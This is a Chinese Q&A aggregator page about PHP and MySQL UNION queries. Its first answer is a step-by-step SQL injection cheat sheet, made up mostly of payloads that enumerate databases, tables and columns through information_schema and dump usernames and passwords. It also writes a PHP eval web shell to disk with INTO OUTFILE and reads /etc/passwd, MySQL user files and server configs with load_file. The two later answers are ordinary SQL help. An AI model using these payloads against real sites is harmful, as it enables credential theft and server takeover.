導航:首頁 > 編程語言 > phpmysqlunion

phpmysqlunion

發布時間:2024-08-11 07:47:33

A. web安全,mysql注入的時候,比如 ***.phpid=5 union select 1,2,3,4。。。如果返回正常

暴欄位長度
Order by num/*

匹配欄位
and 1=1 union select 1,2,3,4,5…….n/*

暴欄位位置
and 1=2 union select 1,2,3,4,5…..n/*

利用內置函數暴資料庫信息
version() database() user()
不用猜解可用欄位暴資料庫信息(有些網站不適用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系統信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
資料庫許可權:
and ord(mid(user(),1,1))=114 /* 返回正常說明為root

暴庫 (mysql>5.0)
Mysql 5 以上有內置庫 information_schema,存儲著mysql的所有資料庫和表結構信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=資料庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)—

猜欄位
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1

暴密碼
and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
高級用法(一個可用欄位顯示兩個數據內容):
Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

直接寫馬(Root許可權)
條件:1、知道站點物理路徑
2、有足夠大的許可權(可以用select …. from mysql.user測試)
3、magic_quotes_gpc()=OFF
select 『<?php eval($_POST[cmd])?>' into outfile 『物理路徑'
and 1=2 union all select 一句話HEX值 into outfile '路徑'

load_file() 常用路徑:
1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字元,如 「<」 替換成」空格」 返回的是網頁.而無法查看到代碼.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發的網站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火牆策略
16 、usr/local/app/php5 b/php.ini PHP 的相當設置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關設置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網站設置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
網站常用配置文件
config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
註:
Char(60)表示 <
Char(32)表示 空格

手工注射時出現的問題:
當注射後頁面顯示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

B. mysql,php 中多對多關系的問題

用一條sql語句就行


設表結構如下:

編輯員表editor:id,name,pwd,newsblocks

新聞版塊表news:id,name


sql語句如下:

SELECTeditor.*,GROUP_CONCAT(news.`name`)ASnewsblock_nameFROMeditor

LEFTJOINnewsONINSTR(editor.`newsblocks`,news.`id`)

GROUPBYeditor.id

這是查詢結果:

其中newsblock_name就是對應的新聞版塊名

C. MySQL按月分表PHP如何做匯總統計查詢排序分頁

1、UNION
2、若是innodb分表,則可以用merge處理。
直接搞一張專門針對統計數據用的匯總表
如果可能的話,不要採用分表的設計,採用表分區,這樣就對於查詢就不需要特殊處理了。規劃好索引,性能應該不會有問題。

閱讀全文

與phpmysqlunion相關的資料

熱點內容
機房伺服器電源線如何扎線 瀏覽:730
什麼演算法治宣傳 瀏覽:18
哪個app可以測溫槍 瀏覽:17
macmongodbphp 瀏覽:326
php寫游戲伺服器 瀏覽:875
對立陣營插旗命令 瀏覽:367
java實現帕斯卡三角形演算法 瀏覽:314
linux文件名限制 瀏覽:704
金稅三期代理伺服器地址是什麼意思 瀏覽:429
多自變數擬合Python 瀏覽:456
文件夾加密總是失敗 瀏覽:510
androiddexpathlist 瀏覽:626
要卸載己加密的文件怎麼辦 瀏覽:158
ping伺服器ip地址失敗 瀏覽:136
成都黑馬程序員 瀏覽:641
成考app哪個好 瀏覽:702
linux當前線程id 瀏覽:346
哪個app支持掃花唄 瀏覽:838
著色器編譯程序 瀏覽:587
怎樣看app所屬文件夾 瀏覽:543